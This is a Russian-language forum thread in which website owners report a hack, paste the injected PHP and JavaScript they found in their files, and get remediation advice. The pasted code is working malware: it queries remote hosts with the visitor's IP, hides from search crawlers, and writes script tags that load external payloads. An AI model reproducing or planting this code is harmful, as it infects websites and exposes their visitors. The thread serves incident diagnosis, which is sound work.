Перейти к содержанию

Recommended Posts

me8721312

Взломали сайт

В php файлах дописался код вида

<?php#d308d9#if (empty($tey)) {    error_reporting(0);    @ini_set('display_errors', 0);    if (!function_exists('__url_get_contents')) {        function __url_get_contents($remote_url, $timeout)        {            if (function_exists('curl_exec')) {                $ch = curl_init();                curl_setopt($ch, CURLOPT_URL, $remote_url);                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds                $_url_get_contents_data = curl_exec($ch);                curl_close($ch);            } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {                $ctx = @stream_context_create(array('http' =>                    array(                        'timeout' => $timeout,                    )                ));                $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {                $handle = @fopen($remote_url, "r");                $_url_get_contents_data = @stream_get_contents($handle);            } else {                $_url_get_contents_data = __file_get_url_contents($remote_url);            }            return $_url_get_contents_data;        }    }    if (!function_exists('__file_get_url_contents')) {        function __file_get_url_contents($remote_url)        {            if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',                $remote_url, $matches)            ) {                $protocol = strtolower($matches[1]);                $host = $matches[2];                $path = $matches[3];            } else {                // Bad remote_url-format                return FALSE;            }            if ($protocol == "http") {                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);            } else {                // Bad protocol                return FALSE;            }            if (!$socket) {                // Error creating socket                return FALSE;            }            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";            $len_written = @fwrite($socket, $request);            if ($len_written === FALSE || $len_written != strlen($request)) {                // Error sending request                return FALSE;            }            $response = "";            while (!@feof($socket) &&                ($buf = @fread($socket, 4096)) !== FALSE) {                $response .= $buf;            }            if ($buf === FALSE) {                // Error reading response                return FALSE;            }            $end_of_header = strpos($response, "\r\n\r\n");            return substr($response, $end_of_header + 4);        }    }    if (empty($__var_to_echo) && empty($remote_domain)) {        $_ip = $_SERVER['REMOTE_ADDR'];        $tey = "http://ipadtips.ru/pbPfWrqX.php";        $tey = __url_get_contents($tey."?a=$_ip", 1);        if (strpos($tey, 'http://') === 0) {            $__var_to_echo = '<script type="text/javascript" src="' . $tey . '?id=13317021"></script>';            echo $__var_to_echo;        }    }}#/d308d9#?>

в директории добавились файлы вида (в прикрепленном файле ) (в комментариях фразы с девида блейна на русском =))

при выполнении получаем запрос на ввод пароле . комментрием проверку и получаем

что-то файл не прикрепился [удалено]

http://s003.radikal.ru/i202/1404/bb/7cc599e60dec.jpg

во всех js-файлах дописан код вида

 /*f827eb*/document.write('<script type="text/javascript" src="http://fgip.ru/xcgFmDy4.php?id=13317112"></script>');/*/f827eb*/
Отредактировал Mr. Justice
п. 11.17 Правил форума
  • Downvote 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Mr. Justice

me8721312

Правилами форума (п. 11.17) запрещается размещать сообщения, содержащие вредоносное и шпионское програмное обеспечение или работоспособные ссылки на указанное программное обеспечение за исключением размещения данного контента в специально отведенном закрытом разделе форума. Что у Вас там было?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
me8721312
me8721312

Правилами форума (п. 11.17) запрещается размещать сообщения, содержащие вредоносное и шпионское програмное обеспечение или работоспособные ссылки на указанное программное обеспечение за исключением размещения данного контента в специально отведенном закрытом разделе форума. Что у Вас там было?

Там был закодированный php код панели той что на скриншоте (этот тот файл который появился ).

Там есть такие закладки

[ Sec. Info ] [ Files ] [ Console ] [ Sql ] [ Php ] [ String tools ] [ Bruteforce ] [ Network ] [ Self remove ]

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
priv8v

судя по скрину - это WSO Shell

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Сергей Ильин

me8721312, а сайт на чем? Патчи стоят? Кто имеет доступ к сайту?

Мы у себя около года назад обнаружили модифицированный скрипт, расследование показало, что протроянили машину одного из редакторов и украли учетку к FTP. Все довольно банально в общем.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
me8721312

WSO Shell

Судя по всему оно!

me8721312, а сайт на чем?

php самописный

Патчи стоят?

нет

Кто имеет доступ к сайту?

Три человека

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Сергей Ильин
Кто имеет доступ к сайту?

Три человека

Очень высока вероятность, что у кого-то из троих компьютер заражен и все учетки ушли. Поднимите логи и посмотрите, кто менял файлы, в которых добавился вредоносный код. Имя этого юзера и будут означать виновного, через которого сайт был заражен. Надежнее всего полностью заменить скомпрометированные клиентские системы, сменить пароли на доступ к сайту. А сам сайт восстановить из последнего чистого бекапа. Можно попробовать вычистить вредоносный код, но есть риски что-то пропустить. Внимательно очень нужно смотреть по логам какие файлы менялись и кем. Возможно атаку удалось эскалировать и было перехвачено управление над другими ресурсами и системами (может стоять вспомогательный софт, например, какой-нибудь phpmyadmin, plesk, cpanel и т.п.). Иначе получится, что вы файлы восстановили, но вам будут пихать все это по-новому.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Yrass

И у меня тоже

#c13fbf#if (empty($cvlrb)) {   if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {   } else {   error_reporting(0);   @ini_set('display_errors', 0);   if (!function_exists('__url_get_contents')) {       function __url_get_contents($remote_url, $timeout)       {           if (function_exists('curl_exec')) {               $ch = curl_init();               curl_setopt($ch, CURLOPT_URL, $remote_url);               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);               curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);               curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds               $_url_get_contents_data = curl_exec($ch);               curl_close($ch);           } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {               $ctx = @stream_context_create(array('http' =>                   array(                       'timeout' => $timeout,                   )               ));               $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);           } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {               $handle = @fopen($remote_url, "r");               $_url_get_contents_data = @stream_get_contents($handle);           } else {               $_url_get_contents_data = __file_get_url_contents($remote_url);           }           return $_url_get_contents_data;       }   }   if (!function_exists('__file_get_url_contents')) {       function __file_get_url_contents($remote_url)       {           if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',               $remote_url, $matches)           ) {               $protocol = strtolower($matches[1]);               $host = $matches[2];               $path = $matches[3];           } else {               // Bad remote_url-format               return FALSE;           }           if ($protocol == "http") {               $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);           } else {               // Bad protocol               return FALSE;           }           if (!$socket) {               // Error creating socket               return FALSE;           }           $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";           $len_written = @fwrite($socket, $request);           if ($len_written === FALSE || $len_written != strlen($request)) {               // Error sending request               return FALSE;           }           $response = "";           while (!@feof($socket) &&               ($buf = @fread($socket, 4096)) !== FALSE) {               $response .= $buf;           }           if ($buf === FALSE) {               // Error reading response               return FALSE;           }           $end_of_header = strpos($response, "\r\n\r\n");           return substr($response, $end_of_header + 4);       }   }   if (empty($__var_to_echo) && empty($remote_domain)) {       $_ip = $_SERVER['REMOTE_ADDR'];       $cvlrb = "http://m96.kmu.edu.tw/sqlite/3mqdnqyr.php";       $cvlrb = __url_get_contents($cvlrb."?a=$_ip", 1);       if (strpos($cvlrb, 'http://') === 0) {           $__var_to_echo = '<script type="text/javascript" src="' . $cvlrb . '?id=92587227"></script>';           echo $__var_to_echo;       }   }}}#/c13fbf#

и в Js

/*8d98a6*/document.write('<script type="text/javascript" src="http://m96.kmu.edu.tw/sqlite/3mqdnqyr.php?id=92587271"></script>');/*/8d98a6*/
Отредактировал Yrass

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • demkd
      ---------------------------------------------------------
       4.15.6
      ---------------------------------------------------------
       o Исправлена ошибка из-за которой автоматически не замораживались потоки внедренные в uVS,
         если их код НЕ принадлежал одной из загруженных DLL.

       o Добавлена поддержка английского интерфейса при запуске под Win2k.

       
    • demkd
      Иногда спрашивают, как загрузиться в командную строку без диска, я постоянно забывают дополнить Общий FAQ.
      И вот наконец-то я про это вспомнил:
      Q: Как запустить uVS с командной строки Windows без использования загрузочного диска/флешки для работы с НЕактивной системой.
         (!) Для текущей версии uVS работа с командной строки доступна только для 32-х битных систем. (что бы работало в x64 системах, нужно делать uVS x64 и это запланировано).
         1. Если у вас Windows 8 и старше, то запустите start.exe и нажмите кнопку "Перезагрузить систему в меню дополнительных параметров загрузки".
         2. Далее в меню "Поиск и устранение неисправностей->Дополнительные параметры->Командная строка"
         3. Выберите админскую учетную запись и введите для нее пароль.
         4. Запустите start.exe из каталога uVS с командной строки.
            (!) Обычно система расположена на диске D.
                Например: uVS лежит в каталоге С:\uvs (в командной строке это будет D:\uvs)
                Для запуска uVS необходимо последовательно набрать 3 команды, завершая каждую нажатием клавиши Enter.
                1. d:
                2. cd d:\uvs
                3. start.exe
         5. Выбрать каталог Windows (обычно D:\Windows).
         Если у вас Windows 7 и младше, то в меню вы можете попасть только нажав F8 при перезагрузке системы
         (!) Использовать msconfig для этого не рекомендуется, система может не загрузиться после его использования.
         Для младших систем доступен только безопасный режим с поддержкой командной строки, т.е. система будет активна.
       
    • demkd
      ---------------------------------------------------------
       4.15.5
      ---------------------------------------------------------
       o Обновлена функция трансляции переменных окружения USERPROFILE, HOMEPATH, LOCALAPPDATA, APPDATA.
         Значения этих переменных теперь зависят от того где физически находится lnk файл.
         Теперь с разбором lnk файлов будет меньше проблем, но я все же рекомендую удалять ссылки
         на отсутствующие объекты только под текущем пользователем.

       o Исправлена функция разбора путей не содержащих букву диска.

       o Исправлена функция разбора аргументов rundll32.

       o Обновлен start.exe.
         o Обновлен интерфейс.
         o Изменена кнопка по умолчанию, теперь это "запуск под текущим пользователем".
         o Исправлена ошибка: при определенных параметрах повторный запуск uVS в режиме "до запуска эксплорера" был невозможен.
         
    • Ego Dekker
      Домашние антивирусы для Windows были обновлены до версии 17.1.13.
    • demkd
      ---------------------------------------------------------
       4.15.4
      ---------------------------------------------------------
       o Обновлен интерфейс.

       o Из Ф портировано окно "История запуска процессов" для комфортного распутывания цепочек запуска и взаимодействия
         процессов с задачами.
         Доступ к окну можно получить через меню "Дополнительно->История процессов и задач".
         В первом списке отображается история запуска процессов с момента старта системы (по данным журнала Windows).
         В списке доступен фильтрующий поиск по имени, PID и фильтрация по родительскому процессу (см. контекстное меню).
         В нижнем списке отображается история воздействия процессов на задачи с момента запуска системы, а если установлен
         фильтр родительского процесса то отображаются лишь те задачи с которым взаимодействовал родительский процесс.
         (!) История доступна лишь при активном отслеживании процессов и задач (Твик #39).
         (!) История не доступна для неактивных систем.

       o Обновлен формат образа автозапуска, образы созданные v4.15.4 не будут читаться старыми версиями uVS.
         Добавлено:
          o Мгновенный срез активности процессов на момент завершения создания образа (Запустить->Просмотр активности процессов [Alt+D])
          o История процессов и задач (Дополнительно->История процессов и задач)
            (!) История доступна лишь при активном отслеживании процессов и задач (Твик #39).
          o Защита образа от повреждений.

       o Утилита cmpimg обновлена до версии 1.04 для поддержки нового формата образов автозапуска.

       o Утилита uvs_snd обновлена до версии 1.05 для поддержки нового формата образов автозапуска.

       o Теперь при подключении к удаленной системе всегда запускается "v" версия uVS, если клиентская система не младше Vista.
         На удаленной системе всегда запускается обычная версия uVS для совместимости с системами младше Vista.

       o Исправлена ошибка отображения имени процесса при работе под Win2k в окне "Активность процессов".
         (!) Английская версия uVS НЕ_совместима с Win2k, с Win2k работает только русская версия.

       o Исправлена ошибка разбора состояния TCPIPv6 соединений.
       
×